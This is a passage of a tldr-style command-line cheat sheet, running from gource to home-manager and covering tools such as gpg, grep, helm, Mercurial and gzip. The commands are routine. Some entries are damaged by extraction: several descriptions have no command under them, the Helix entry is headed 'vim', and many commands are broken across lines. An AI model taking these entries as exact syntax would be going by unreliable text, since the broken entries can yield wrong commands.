gotty -w -c {{username}}:{{password}} {{shell}}


gource
Renders an animated tree diagram of Git, SVN, Mercurial and Bazaar repositories.

It shows files and directories being created, modified or removed over time.

More information: https://gource.io.

• Run gource in a directory (if it isn't the repository's root directory, the root is
sought up from there):

gource {{path/to/repository}}

• Run gource in the current directory, with a custom output resolution:

gource -{{width}}x{{height}}

• Set a custom timescale for the animation:

gource -c {{time_scale_multiplier}}

• Set how long each day should be in the animation (this combines with -c, if
provided):

gource -s {{seconds}}

• Set fullscreen mode and a custom background color:

gource -f -b {{hex_color_code}}

• Set a title for the animation:

gource --title {{title}}


gox
A tool for cross-compiling Go programs.

More information: https://github.com/mitchellh/gox.

• Compile Go program in the current directory for all operating systems and
architecture combinations:

gox

• Download and compile a Go program from a remote URL:

gox {{url_1}} {{url_2}}

• Compile current directory for a particular operating system:

gox -os="{{os}}"

• Compile current directory for a single operating system and architecture


combination:

gox -osarch="{{os}}/{{arch}}"
gpg-tui
Terminal user interface for GNU Public Guard.

More information: https://github.com/orhun/gpg-tui.

• Start gpg-tui:

gpg-tui

• Start gpg-tui with color and ASCII armored output:

gpg-tui --style {{colored}} --armor

• Show help in gpg-tui:

• Quit gpg-tui:

• Interactively generate a new key:

• Export the selected key:

• Set the detail level for the selected key:

1|2|3

• Refresh gpg-tui:

r
gpg-zip
Encrypt files and directories in an archive using GPG.

More information: https://www.gnupg.org/documentation/manuals/gnupg/


gpg_002dzip.html.

• Encrypt a directory into archive.gpg using a passphrase:

gpg-zip --symmetric --output {{archive.gpg}} {{path/to/


directory}}

• Decrypt archive.gpg into a directory of the same name:

gpg-zip --decrypt {{path/to/archive.gpg}}

• List the contents of the encrypted archive.gpg:

gpg-zip --list-archive {{path/to/archive.gpg}}


gpg
GNU Privacy Guard.

See gpg2 for GNU Privacy Guard 2.

More information: https://gnupg.org.

• Create a GPG public and private key interactively:

gpg --full-generate-key

• Sign doc.txt without encryption (writes output to doc.txt.asc):

gpg --clearsign {{doc.txt}}

• Encrypt doc.txt for alice@example.com (output to doc.txt.gpg):

gpg --encrypt --recipient {{alice@example.com}} {{doc.txt}}

• Encrypt doc.txt with only a passphrase (output to doc.txt.gpg):

gpg --symmetric {{doc.txt}}

• Decrypt doc.txt.gpg (output to stdout):

gpg --decrypt {{doc.txt.gpg}}

• Import a public key:

gpg --import {{public.gpg}}

• Export public key for alice@example.com (output to stdout):

gpg --export --armor {{alice@example.com}}

• Export private key for alice@example.com (output to stdout):

gpg --export-secret-keys --armor {{alice@example.com}}


gpg2
GNU Privacy Guard 2.

See gpg for GNU Privacy Guard 1.

More information: https://docs.releng.linuxfoundation.org/en/latest/gpg.html.

• List imported keys:

gpg2 --list-keys

• Encrypt a specified file for a specified recipient, writing the output to a new file
with .gpg appended:

gpg2 --encrypt --recipient {{alice@example.com}} {{path/to/


doc.txt}}

• Encrypt a specified file with only a passphrase, writing the output to a new file
with .gpg appended:

gpg2 --symmetric {{path/to/doc.txt}}

• Decrypt a specified file, writing the result to the standard output:

gpg2 --decrypt {{path/to/doc.txt.gpg}}

• Import a public key:

gpg2 --import {{path/to/public_key.gpg}}

• Export the public key of a specified email address to the standard output:

gpg2 --export --armor {{alice@example.com}}

• Export the private key with a specified email address to the standard output:

gpg2 --export-secret-keys --armor {{alice@example.com}}


gpgv
Verify OpenPGP signatures.

More information: https://www.gnupg.org/documentation/manuals/gnupg/gpgv.html.

• Verify a signed file:

gpgv {{path/to/file}}

• Verify a signed file using a detached signature:

gpgv {{path/to/signature}} {{path/to/file}}

• Add a file to the list of keyrings (a single exported key also counts as a keyring):

gpgv --keyring {{./alice.keyring}} {{path/to/signature}}


{{path/to/file}}
gradle
Gradle is an open source build automation system.

More information: https://gradle.org.

• Compile a package:

gradle build

• Exclude test task:

gradle build -x {{test}}

• Run in offline mode to prevent Gradle from accessing the network during builds:

gradle build --offline

• Clear the build directory:

gradle clean

• Build an Android Package (APK) in release mode:

gradle assembleRelease

• List the main tasks:

gradle tasks

• List all the tasks:

gradle tasks --all


grap
A charting preprocessor for the groff (GNU Troff) document formatting system.

See also pic and groff.

More information: https://manned.org/grap.

• Process a grap file and save the output file for future processing with pic and
groff:

grap {{path/to/input.grap}} > {{path/to/output.pic}}

• Typeset a grap file to PDF using the [me] macro package, saving the output to a
file:

grap {{path/to/input.grap}} | pic -T {{pdf}} | groff -{{me}}


-T {{pdf}} > {{path/to/output.pdf}}
graphml2gv
Convert a graph from graphml to gv format.

Converters: gml2gv, gv2gml, gv2gxl, gxl2gv, graphml2gv & mm2gv.

More information: https://graphviz.org/pdf/graphml2gv.1.pdf.

• Convert a graph from gml to gv format:

graphml2gv -o {{output.gv}} {{input.gml}}

• Convert a graph using stdin and stdout:

cat {{input.gml}} | graphml2gv > {{output.gv}}

• Display help:

graphml2gv -?
grep
Find patterns in files using regular expressions.

More information: https://www.gnu.org/software/grep/manual/grep.html.

• Search for a pattern within a file:

grep "{{search_pattern}}" {{path/to/file}}

• Search for an exact string (disables regular expressions):

grep --fixed-strings "{{exact_string}}" {{path/to/file}}

• Search for a pattern in all files recursively in a directory, showing line numbers of
matches, ignoring binary files:

grep --recursive --line-number --binary-files={{without-


match}} "{{search_pattern}}" {{path/to/directory}}

• Use extended regular expressions (supports ?, +, {}, () and |), in case-insensitive


mode:

grep --extended-regexp --ignore-case "{{search_pattern}}"


{{path/to/file}}

• Print 3 lines of context around, before, or after each match:

grep --{{context|before-context|after-context}}={{3}}
"{{search_pattern}}" {{path/to/file}}

• Print file name and line number for each match:

grep --with-filename --line-number "{{search_pattern}}"


{{path/to/file}}

• Search for lines matching a pattern, printing only the matched text:

grep --only-matching "{{search_pattern}}" {{path/to/file}}

• Search stdin for lines that do not match a pattern:

cat {{path/to/file}} | grep --invert-match


"{{search_pattern}}"
grex
Simple command-line tool to generate regular expressions.

More information: https://github.com/pemistahl/grex.

• Generate a simple regular expression:

grex {{space_separated_strings}}

• Generate a case-insensitive regular expression:

grex -i {{space_separated_strings}}

• Replace digits with '\d':

grex -d {{space_separated_strings}}

• Replace Unicode word character with '\w':

grex -w {{space_separated_strings}}

• Replace spaces with '\s':

grex -s {{space_separated_strings}}

• Add {min, max} quantifier representation for repeating sub-strings:

grex -r {{space_separated_strings}}
grip
Preview GitHub-flavoured Markdown files locally.

More information: https://github.com/joeyespo/grip.

• Start the server and serve the rendered README file of a current directory:

grip

• Start the server and serve a specific Markdown file:

grip {{path/to/file.md}}

• Start the server and open the README file of the current directory in the browser:

grip --browser

• Start the server in the specified port and serve the rendered README file of the
current directory:

grip {{port}}
groff
GNU replacement for the troff and nroff typesetting utilities.

More information: https://www.gnu.org/software/groff.

• Format output for a PostScript printer, saving the output to a file:

groff {{path/to/input.roff}} > {{path/to/output.ps}}

• Render a man page using the ASCII output device, and display it using a pager:

groff -man -T ascii {{path/to/manpage.1}} | less --RAW-


CONTROL-CHARS

• Render a man page into an HTML file:

groff -man -T html {{path/to/manpage.1}} > {{path/to/


manpage.html}}

• Typeset a roff file containing [t]ables and [p]ictures, using the [me] macro set, to
PDF, saving the output:

groff {{-t}} {{-p}} -{{me}} -T {{pdf}} {{path/to/input.me}} >


{{path/to/output.pdf}}

• Run a groff command with preprocessor and macro options guessed by the grog
utility:

eval "$(grog -T utf8 {{path/to/input.me}})"


groups
Print group memberships for a user.

More information: https://www.gnu.org/software/coreutils/groups.

• Print group memberships for the current user:

groups

• Print group memberships for a specific user:

groups {{username}}

• Print group memberships for a list of users:

groups {{username1}} {{username2}} {{username3}}


grpcurl
Like cURL, but for gRPC: CLI tool for interacting with gRPC servers.

More information: https://github.com/fullstorydev/grpcurl.

• Send an empty request:

grpcurl {{grpc.server.com:443}} {{my.custom.server.Service/


Method}}

• Send a request with a header and a body:

grpcurl -H "{{Authorization: Bearer $token}}" -d {{'{"foo":


"bar"}'}} {{grpc.server.com:443}} {{my.custom.server.Service/
Method}}

• List all services exposed by a server:

grpcurl {{grpc.server.com:443}} list

• List all methods in a particular service:

grpcurl {{grpc.server.com:443}} list


{{my.custom.server.Service}}
grumphp
A PHP Composer plugin that enables source code quality checks.

More information: https://github.com/phpro/grumphp.

• Register the Git hooks:

grumphp git:init

• Trigger the pre-commit hook manually:

grumphp git:pre-commit

• Check every versioned file:

grumphp run
grunt
A JavaScript task runner for automating processes.

More information: https://github.com/gruntjs/grunt-cli.

• Run the default task process:

grunt

• Run one or more specific space-separated task(s):

grunt {{task_name}}

• Specify an alternative configuration file:

grunt --gruntfile {{path/to/file}}

• Specify an alternative base path for relative files:

grunt --base {{path/to/directory}}

• Specify an additional directory to scan for tasks in:

grunt --tasks {{path/to/directory}}

• Perform a dry-run without writing any files:

grunt --no-write

• List all available options:

grunt --help
gtop
System monitoring dashboard for the terminal.

More information: https://github.com/aksakalli/gtop.

• Show the system stats dashboard:

gtop

• Sort by CPU usage:

• Sort by memory usage:

m
guacd
Apache Guacamole proxy daemon.

Support loader for client plugins to interface between the Guacamole protocol and any
arbitrary remote desktop protocol (e.g. RDP, VNC, Other).

More information: https://guacamole.apache.org/.

• Bind to a specific port on localhost:

guacd -b {{127.0.0.1}} -l {{4823}}

• Start in debug mode, keeping the process in the foreground:

guacd -f -L {{debug}}

• Start with TLS support:

guacd -C {{my-cert.crt}} -K {{my-key.pem}}

• Write the PID to a file:

guacd -p {{path/to/file.pid}}
guetzli
JPEG image compression utility.

More information: https://github.com/google/guetzli.

• Compress a JPEG image:

guetzli {{input.jpg}} {{output.jpg}}

• Create a compressed JPEG from a PNG:

guetzli {{input.png}} {{output.jpg}}

• Compress a JPEG with the desired visual quality (84-100):

guetzli --quality {{quality_value}} {{input.jpg}}


{{output.jpg}}
guile
Guile Scheme interpreter.

More information: https://www.gnu.org/software/guile.

• Start a REPL (interactive shell):

guile

• Execute the script in a given Scheme file:

guile {{script.scm}}

• Execute a Scheme expression:

guile -c "{{expression}}"

• Listen on a port or a Unix domain socket (the default is port 37146) for remote
REPL connections:

guile --listen={{port_or_socket}}
gulp
JavaScript task runner and streaming build system.

Tasks are defined within gulpfile.js at the project root.

More information: https://github.com/gulpjs/gulp-cli.

• Run the default task:

gulp

• Run individual tasks:

gulp {{task}} {{othertask}}


gunicorn
Python WSGI HTTP Server.

More information: https://gunicorn.org/.

• Run Python web app:

gunicorn {{import.path:app_object}}

• Listen on port 8080 on localhost:

gunicorn --bind {{localhost}}:{{8080}}


{{import.path:app_object}}

• Turn on live reload:

gunicorn --reload {{import.path:app_object}}

• Use 4 worker processes for handling requests:

gunicorn --workers {{4}} {{import.path:app_object}}

• Use 4 worker threads for handling requests:

gunicorn --threads {{4}} {{import.path:app_object}}

• Run app over HTTPS:

gunicorn --certfile {{cert.pem}} --keyfile {{key.pem}}


{{import.path:app_object}}
gunzip
Extract file(s) from a gzip (.gz) archive.

More information: https://manned.org/gunzip.

• Extract a file from an archive, replacing the original file if it exists:

gunzip {{archive.tar.gz}}

• Extract a file to a target destination:

gunzip --stdout {{archive.tar.gz}} > {{archive.tar}}

• Extract a file and keep the archive file:

gunzip --keep {{archive.tar.gz}}

• List the contents of a compressed file:

gunzip --list {{file.txt.gz}}


gv2gml
Convert a graph from gv to gml format.

Converters: gml2gv, gv2gml, gv2gxl, gxl2gv, graphml2gv & mm2gv.

More information: https://graphviz.org/pdf/gml2gv.1.pdf.

• Convert a graph from gv to gml format:

gv2gml -o {{output.gml}} {{input.gv}}

• Convert a graph using stdin and stdout:

cat {{input.gv}} | gv2gml > {{output.gml}}

• Display help:

gv2gml -?
gv2gxl
Convert a graph from gv to gxl format.

Converters: gml2gv, gv2gml, gv2gxl, gxl2gv, graphml2gv & mm2gv.

More information: https://graphviz.org/pdf/gxl2gv.1.pdf.

• Convert a graph from gv to gxl format:

gv2gxl -o {{output.gxl}} {{input.gv}}

• Convert a graph using stdin and stdout:

cat {{input.gv}} | gv2gxl > {{output.gxl}}

• Display help:

gv2gxl -?
gvcolor
Colorize a ranked digraph with a range of colors.

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://graphviz.org/pdf/gvcolor.1.pdf.

• Colorize one or more ranked digraph (that were already processed by dot):

gvcolor {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Lay out a graph and colorize it, then convert to a PNG image:

dot {{path/to/input.gv}} | gvcolor | dot -T {{png}} > {{path/


to/output.png}}

• Display help for gvcolor:

gvcolor -?
gvpack
Combine several graph layouts (that already have layout information).

Graphviz filters: acyclic, bcomps, comps, edgepaint, gvcolor, gvpack, mingle,


nop, sccmap, tred, & unflatten.

More information: https://graphviz.org/pdf/gvpack.1.pdf.

• Combine several graph layouts (that already have layout information):

gvpack {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Combine several graph layouts at the graph level, keeping graphs separate:

gvpack -g {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Combine several graph layouts at the node level, ignoring clusters:

gvpack -n {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Combine several graph layouts without packing:

gvpack -u {{path/to/layout1.gv}} {{path/to/layout2.gv ...}} >


{{path/to/output.gv}}

• Display help for gvpack:

gvpack -?
gxl2gv
Convert a graph from gxl to gv format.

Converters: gml2gv, gv2gml, gv2gxl, gxl2gv, graphml2gv & mm2gv.

More information: https://graphviz.org/pdf/gxl2gv.1.pdf.

• Convert a graph from gxl to gv format:

gxl2gv -o {{output.gv}} {{input.gxl}}

• Convert a graph using stdin and stdout:

cat {{input.gxl}} | gxl2gv > {{output.gv}}

• Display help:

gxl2gv -?
gzip
Compress/uncompress files with gzip compression (LZ77).

More information: https://www.gnu.org/software/gzip/manual/gzip.html.

• Compress a file, replacing it with a gzipped compressed version:

gzip {{file.ext}}

• Decompress a file, replacing it with the original uncompressed version:

gzip -d {{file.ext}}.gz

• Compress a file, keeping the original file:

gzip --keep {{file.ext}}

• Compress a file specifying the output filename:

gzip -c {{file.ext}} > {{compressed_file.ext.gz}}

• Decompress a gzipped file specifying the output filename:

gzip -c -d {{file.ext}}.gz > {{uncompressed_file.ext}}

• Specify the compression level. 1=Fastest (Worst), 9=Slowest (Best), Default level is
6:

gzip -9 -c {{file.ext}} > {{compressed_file.ext.gz}}


hadolint
Dockerfile linter.

More information: https://github.com/hadolint/hadolint.

• Lint a Dockerfile:

hadolint {{path/to/Dockerfile}}

• Lint a Dockerfile, displaying the output in JSON format:

hadolint --format {{json}} {{path/to/Dockerfile}}

• Lint a Dockerfile, displaying the output in a specific format:

hadolint --format {{tty|json|checkstyle|codeclimate|codacy}}


{{path/to/Dockerfile}}

• Lint a Dockerfile ignoring specific rules:

hadolint --ignore {{DL3006}} --ignore {{DL3008}} {{path/to/


Dockerfile}}

• Lint multiple Dockerfiles using specific trusted registries:

hadolint --trusted-registry {{docker.io}} --trusted-registry


{{example.com}}:{{5000}} {{path/to/Dockerfile}} {{path/to/
another/Dockerfile}}
hakyll-init
Generate a new Hakyll sample blog.

More information: https://github.com/jaspervdj/hakyll-init.

• Generate a new Hakyll sample blog:

hakyll-init {{path/to/directory}}

• Show help for hakyll-init:

hakyll-init --help
handbrakecli
Command-line interface to the HandBrake video conversion and DVD ripping tool.

More information: https://handbrake.fr/.

• Convert a video file to MKV (AAC 160kbit audio and x264 CRF20 video):

handbrakecli --input {{input.avi}} --output {{output.mkv}} --


encoder x264 --quality 20 --ab 160

• Resize a video file to 320x240:

handbrakecli --input {{input.mp4}} --output {{output.mp4}} --


width 320 --height 240

• List available presets:

handbrakecli --preset-list

• Convert an AVI video to MP4 using the Android preset:

handbrakecli --preset="Android" --input {{input.ext}} --


output {{output.mp4}}

• Print the content of a DVD, getting the CSS keys in the process:

handbrakecli --input {{/dev/sr0}} --title 0

• Rip the first track of a DVD in the specified device. Audiotracks and subtitle
languages are specified as lists:

handbrakecli --input {{/dev/sr0}} --title 1 --output


{{out.mkv}} --format av_mkv --encoder x264 --subtitle
{{1,4,5}} --audio {{1,2}} --aencoder copy --quality {{23}}
hangups
Third party command-line client for Google Hangouts.

More information: https://github.com/tdryer/hangups.

• Start hangups:

hangups

• View troubleshooting information and help:

hangups -h

• Set a refresh token for hangups:

hangups --token-path {{path/to/token}}


hardhat
A development environment for Ethereum software.

More information: https://hardhat.org.

• List available subcommands (or create a new project if no configuration exists):

hardhat

• Compile the current project and build all artifacts:

hardhat compile

• Run a user-defined script after compiling the project:

hardhat run {{path/to/script.js}}

• Run Mocha tests:

hardhat test

• Run all given test files:

hardhat test {{path/to/file1.js}} {{path/to/file2.js}}

• Start a local Ethereum JSON-RPC node for development:

hardhat node

• Start a local Ethereum JSON-RPC node with a specific hostname and port:

hardhat node --hostname {{hostname}} --port {{port}}

• Clean the cache and all artifacts:

hardhat clean
hashid
Python3 program that identifies data and password hashes.

More information: https://github.com/psypanda/hashID.

• Identify hashes from standard input (through typing, copying and pasting, or
piping the hash into the program):

hashid

• Identify hashes passed as arguments (multiple hashes can be passed):

hashid {{hash}}

• Identify hashes on a file (one hash per line):

hashid {{path/to/hashes.txt}}

• Show all possible hash types (including salted hashes):

hashid --extended {{hash}}

• Show hashcat's mode number and john's format string of the hash types:

hashid --mode --john {{hash}}

• Save output to a file instead of printing to standard output:

hashid --outfile {{path/to/output.txt}} {{hash}}


haxelib
Haxe Library Manager.

More information: https://lib.haxe.org/.

• Search for a Haxe library:

haxelib search {{keyword}}

• Install a Haxe library:

haxelib install {{libname}}

• Install a specific version of a Haxe library:

haxelib install {{libname}} {{version}}

• Upgrade all installed Haxe libraries:

haxelib upgrade

• Install the development version of a library from a Git repository:

haxelib git {{libname}} {{git_url}}

• Uninstall a Haxe library:

haxelib remove {{libname}}

• Print a tree of locally installed Haxe libraries:

haxelib list
head
Output the first part of files.

More information: https://www.gnu.org/software/coreutils/head.

• Output the first few lines of a file:

head --lines {{count}} {{path/to/file}}

• Output the first few bytes of a file:

head --bytes {{count}} {{path/to/file}}

• Output everything but the last few lines of a file:

head --lines -{{count}} {{path/to/file}}

• Output everything but the last few bytes of a file:

head --bytes -{{count}} {{path/to/file}}


vim
Helix, A post-modern text editor, provides several modes for different kinds of text
manipulation.

Pressing i enters insert mode. <Esc> enters normal mode, which enables the use of
Helix commands.

More information: https://helix-editor.com/.

• Open a file:

helix {{path/to/file}}

• Change the Helix theme:

:theme {{theme_name}}

• Save and Quit:

:wq<Enter>

• Force-quit without saving:

:q!<Enter>

• Undo the last operation:

• Search for a pattern in the file (press n/N to go to next/previous match):

/{{search_pattern}}<Enter>

• Format the file:

:format
hello
Print "Hello, world!", "hello, world" or a customizable text.

More information: https://www.gnu.org/software/hello/.

• Print "Hello, world!":

hello

• Print "hello, world", the traditional type:

hello --traditional

• Print a text message:

hello --greeting="{{greeting_text}}"
helm install
Install a helm chart.

More information: https://helm.sh/docs/intro/using_helm/#helm-install-installing-a-


package.

• Install a helm chart:

helm install {{name}} {{repository_name}}/{{chart_name}}

• Install a helm chart from an unpacked chart directory:

helm install {{name}} {{path/to/source_directory}}

• Install a helm chart from a URL:

helm install {{package_name}} {{https://example.com/charts/


packagename-1.2.3.tgz}}

• Install a helm chart and generate a name:

helm install {{repository_name}}/{{chart_name}} --generate-


name

• Perform a dry run:

helm install {{name}} {{repository_name}}/{{chart_name}} --


dry-run

• Install a helm chart with custom values:

helm install {{name}} {{repository_name}}/{{chart_name}} --


set {{parameter1}}={{value1}},{{parameter2}}={{value2}}

• Install a helm chart passing a custom values file:

helm install {{name}} {{repository_name}}/{{chart_name}} --


values {{path/to/values.yaml}}
helm
Helm is a package manager for Kubernetes.

Some subcommands such as helm install have their own usage documentation.

More information: https://helm.sh/.

• Create a helm chart:

helm create {{chart_name}}

• Add a new helm repository:

helm repo add {{repository_name}}

• List helm repositories:

helm repo list

• Update helm repositories:

helm repo update

• Delete a helm repository:

helm repo remove {{repository_name}}

• Install a helm chart:

helm install {{name}} {{repository_name}}/{{chart_name}}

• Download helm chart as a tar archive:

helm get {{chart_release_name}}

• Update helm dependencies:

helm dependency update


help2man
Produce simple man pages from an executable's --help and --version output.

More information: https://www.gnu.org/software/help2man.

• Generate a man page for an executable:

help2man {{executable}}

• Specify the "name" paragraph in the man page:

help2man {{executable}} --name {{name}}

• Specify the section for the man page (defaults to 1):

help2man {{executable}} --section {{section}}

• Output to a file instead of stdout:

help2man {{executable}} --output {{path/to/file}}

• Display detailed help:

help2man --help
heroku
Create and manage Heroku apps from the command-line.

More information: https://www.heroku.com/.

• Log in to your Heroku account:

heroku login

• Create a Heroku app:

heroku create

• Show logs for an app:

heroku logs --app {{app_name}}

• Run a one-off process inside a dyno (Heroku virtual machine):

heroku run {{process_name}} --app {{app_name}}

• List dynos (Heroku virtual machines) for an app:

heroku ps --app {{app_name}}

• Permanently destroy an app:

heroku destroy --app {{app_name}}


hexdump
An ASCII, decimal, hexadecimal, octal dump.

More information: https://manned.org/hexdump.

• Print the hexadecimal representation of a file, replacing duplicate lines by '*':

hexdump {{file}}

• Display the input offset in hexadecimal and its ASCII representation in two
columns:

hexdump -C {{file}}

• Display the hexadecimal representation of a file, but interpret only n bytes of the
input:

hexdump -C -n{{number_of_bytes}} {{file}}

• Don't replace duplicate lines with '*':

hexdump --no-squeezing {{file}}


hexo
A fast, simple & powerful blog framework.

More information: https://hexo.io/.

• Initialize a website:

hexo init {{path/to/directory}}

• Create a new article:

hexo new {{layout}} {{title}}

• Generate static files:

hexo generate

• Start a local server:

hexo server

• Deploy the website:

hexo deploy

• Clean the cache file (db.json) and generated files (public/):

hexo clean
hexyl
A simple hex viewer for the terminal. Uses colored output to distinguish different
categories of bytes.

More information: https://github.com/sharkdp/hexyl.

• Print the hexadecimal representation of a file:

hexyl {{path/to/file}}

• Print the hexadecimal representation of the first n bytes of a file:

hexyl -n {{n}} {{path/to/file}}

• Print bytes 512 through 1024 of a file:

hexyl -r {{512}}:{{1024}} {{path/to/file}}

• Print 512 bytes starting at the 1024th byte:

hexyl -r {{1024}}:+{{512}} {{path/to/file}}


hg add
Adds specified files to the staging area for the next commit in Mercurial.

More information: https://www.mercurial-scm.org/doc/hg.1.html#add.

• Add files or directories to the staging area:

hg add {{path/to/file}}

• Add all unstaged files matching a specified pattern:

hg add --include {{pattern}}

• Add all unstaged files, excluding those that match a specified pattern:

hg add --exclude {{pattern}}

• Recursively add sub-repositories:

hg add --subrepos

• Perform a test-run without performing any actions:

hg add --dry-run
hg branch
Create or show a branch name.

More information: https://www.mercurial-scm.org/doc/hg.1.html#branch.

• Show the name of the currently active branch:

hg branch

• Create a new branch for the next commit:

hg branch {{branch_name}}
hg clone
Create a copy of an existing repository in a new directory.

More information: https://www.mercurial-scm.org/doc/hg.1.html#clone.

• Clone a repository to a specified directory:

hg clone {{remote_repository_source}} {{destination_path}}

• Clone a repository to the head of a specific branch, ignoring later commits:

hg clone --branch {{branch}} {{remote_repository_source}}

• Clone a repository with only the .hg directory, without checking out files:

hg clone --noupdate {{remote_repository_source}}

• Clone a repository to a specific revision, tag or branch, keeping the entire history:

hg clone --updaterev {{revision}}


{{remote_repository_source}}

• Clone a repository up to a specific revision without any newer history:

hg clone --rev {{revision}} {{remote_repository_source}}


hg commit
Commit all staged or specified files to the repository.

More information: https://www.mercurial-scm.org/doc/hg.1.html#commit.

• Commit staged files to the repository:

hg commit

• Commit a specific file or directory:

hg commit {{path/to/file_or_directory}}

• Commit with a specific message:

hg commit --message {{message}}

• Commit all files matching a specified pattern:

hg commit --include {{pattern}}

• Commit all files, excluding those that match a specified pattern:

hg commit --exclude {{pattern}}

• Commit using the interactive mode:

hg commit --interactive
hg init
Create a new repository in the specified directory.

More information: https://www.mercurial-scm.org/doc/hg.1.html#init.

• Initialise a new repository in the current directory:

hg init

• Initialise a new repository in the specified directory:

hg init {{path/to/directory}}
hg log
Display the revision history of the repository.

More information: https://www.mercurial-scm.org/doc/hg.1.html#log.

• Display the entire revision history of the repository:

hg log

• Display the revision history with an ASCII graph:

hg log --graph

• Display the revision history with file names matching a specified pattern:

hg log --include {{pattern}}

• Display the revision history, excluding file names that match a specified pattern:

hg log --exclude {{pattern}}

• Display the log information for a specific revision:

hg log --rev {{revision}}

• Display the revision history for a specific branch:

hg log --branch {{branch}}

• Display the revision history for a specific date:

hg log --date {{date}}

• Display revisions committed by a specific user:

hg log --user {{user}}


hg pull
Pull changes from a specified repository to the local repository.

More information: https://www.mercurial-scm.org/doc/hg.1.html#pull.

• Pull from the "default" source path:

hg pull

• Pull from a specified source repository:

hg pull {{path/to/source_repository}}

• Update the local repository to the head of the remote:

hg pull --update

• Pull changes even when the remote repository is unrelated:

hg pull --force

• Specify a specific revision changeset to pull up to:

hg pull --rev {{revision}}

• Specify a specific branch to pull:

hg pull --branch {{branch}}

• Specify a specific bookmark to pull:

hg pull --bookmark {{bookmark}}


hg push
Push changes from the local repository to a specified destination.

More information: https://www.mercurial-scm.org/doc/hg.1.html#push.

• Push changes to the "default" remote path:

hg push

• Push changes to a specified remote repository:

hg push {{path/to/destination_repository}}

• Push a new branch if it does not exist (disabled by default):

hg push --new-branch

• Specify a specific revision changeset to push:

hg push --rev {{revision}}

• Specify a specific branch to push:

hg push --branch {{branch}}

• Specify a specific bookmark to push:

hg push --bookmark {{bookmark}}


hg remove
Remove specified files from the staging area.

More information: https://www.mercurial-scm.org/doc/hg.1.html#remove.

• Remove files or directories from the staging area:

hg remove {{path/to/file}}

• Remove all staged files matching a specified pattern:

hg remove --include {{pattern}}

• Remove all staged files, excluding those that match a specified pattern:

hg remove --exclude {{pattern}}

• Recursively remove sub-repositories:

hg remove --subrepos

• Remove files from the repository that have been physically removed:

hg remove --after
hg root
Display the root location of a Hg repository.

More information: https://www.mercurial-scm.org/doc/hg.1.html#root.

• Display the root location of the current repository:

hg root

• Display the root location of the specified repository:

hg root --cwd {{path/to/directory}}


hg serve
Start a standalone Mercurial web server for browsing repositories.

More information: https://www.mercurial-scm.org/doc/hg.1.html#serve.

• Start a web server instance:

hg serve

• Start a web server instance on the specified port:

hg serve --port {{port}}

• Start a web server instance on the specified listening address:

hg serve --address {{address}}

• Start a web server instance with a specific identifier:

hg serve --name {{name}}

• Start a web server instance using the specified theme (see the templates
directory):

hg serve --style {{style}}

• Start a web server instance using the specified SSL certificate bundle:

hg serve --certificate {{path/to/certificate}}


hg status
Show files that have changed in the working directory.

More information: https://www.mercurial-scm.org/doc/hg.1.html#status.

• Display the status of changed files:

hg status

• Display only modified files:

hg status --modified

• Display only added files:

hg status --added

• Display only removed files:

hg status --removed

• Display only deleted (but tracked) files:

hg status --deleted

• Display changes in the working directory compared to a specified changeset:

hg status --rev {{revision}}

• Display only files matching a specified glob pattern:

hg status --include {{pattern}}

• Display files, excluding those that match a specified glob pattern:

hg status --exclude {{pattern}}


hg update
Update the working directory to a specified changeset.

More information: https://www.mercurial-scm.org/doc/hg.1.html#update.

• Update to the tip of the current branch:

hg update

• Update to the specified revision:

hg update --rev {{revision}}

• Update and discard uncommitted changes:

hg update --clean

• Update to the last commit matching a specified date:

hg update --date {{dd-mm-yyyy}}


hg
A command-line interface for Mercurial, a distributed source control management
system.

Some subcommands such as hg commit have their own usage documentation.

More information: https://www.mercurial-scm.org.

• Execute Mercurial command:

hg {{command}}

• Call general help:

hg help

• Call help on a command:

hg help {{command}}

• Check the Mercurial version:

hg --version
highlight
Outputs syntax-highlighted source code to a variety of formats.

More information: http://www.andre-simon.de/doku/highlight/highlight.php.

• Produce a complete HTML document from a source code file:

highlight --out-format={{html}} --style {{theme_name}} --


syntax {{language}} {{path/to/source_code}}

• Produce an HTML fragment, suitable for inclusion in a larger document:

highlight --out-format={{html}} --fragment --syntax


{{language}} {{source_file}}

• Inline the CSS styling in every tag:

highlight --out-format={{html}} --inline-css --syntax


{{language}} {{source_file}}

• List all supported languages, themes, or plugins:

highlight --list-scripts {{langs|themes|plugins}}

• Print a CSS stylesheet for a theme:

highlight --out-format={{html}} --print-style --style


{{theme_name}} --syntax {{language}}] --stdout
history expansion
Reuse and expand the shell history in sh, bash, zsh, rbash and ksh.

More information: https://www.gnu.org/software/bash/manual/html_node/History-


Interaction.

• Run the previous command as root (!! is replaced by the previous command):

sudo !!

• Run a command with the last argument of the previous command:

{{command}} !$

• Run a command with the first argument of the previous command:

{{command}} !^

• Run the Nth command of the history:

!{{n}}

• Run the command n lines back in the history:

!-{{n}}

• Run the most recent command containing string:

!?{{string}}?

• Run the previous command, replacing string1 with string2:

^{{string1}}^{{string2}}^

• Perform a history expansion, but print the command that would be run instead of
actually running it:

{{!-n}}:p
history
Command-line history.

More information: https://www.gnu.org/software/bash/manual/html_node/Bash-


History-Builtins.html.

• Display the commands history list with line numbers:

history

• Display the last 20 commands (in zsh it displays all commands starting from the
20th):

history {{20}}

• Clear the commands history list (only for current bash shell):

history -c

• Overwrite history file with history of current bash shell (often combined with
history -c to purge history):

history -w

• Delete the history entry at the specified offset:

history -d {{offset}}
hive
CLI tool for Apache Hive.

More information: https://cwiki.apache.org/confluence/display/Hive/


LanguageManual+Cli.

• Start a Hive interactive shell:

hive

• Run HiveQL:

hive -e "{{hiveql_query}}"

• Run a HiveQL file with a variable substitution:

hive --define {{key}}={{value}} -f {{path/to/file.sql}}

• Run a HiveQL with HiveConfig (e.g. mapred.reduce.tasks=32):

hive --hiveconf {{conf_name}}={{conf_value}}


hn
Command-line interface for Hacker News.

More information: https://github.com/rafaelrinaldi/hn-cli.

• View stories on Hacker News:

hn

• View number of stories on Hacker News:

hn --limit {{number}}

• View stories on Hacker News, and keep the list open after selecting a link:

hn --keep-open

• View stories on Hacker News sorted by submission date:

hn --latest
home-manager
Manage a user environment using Nix.

More information: https://github.com/rycee/home-manager.

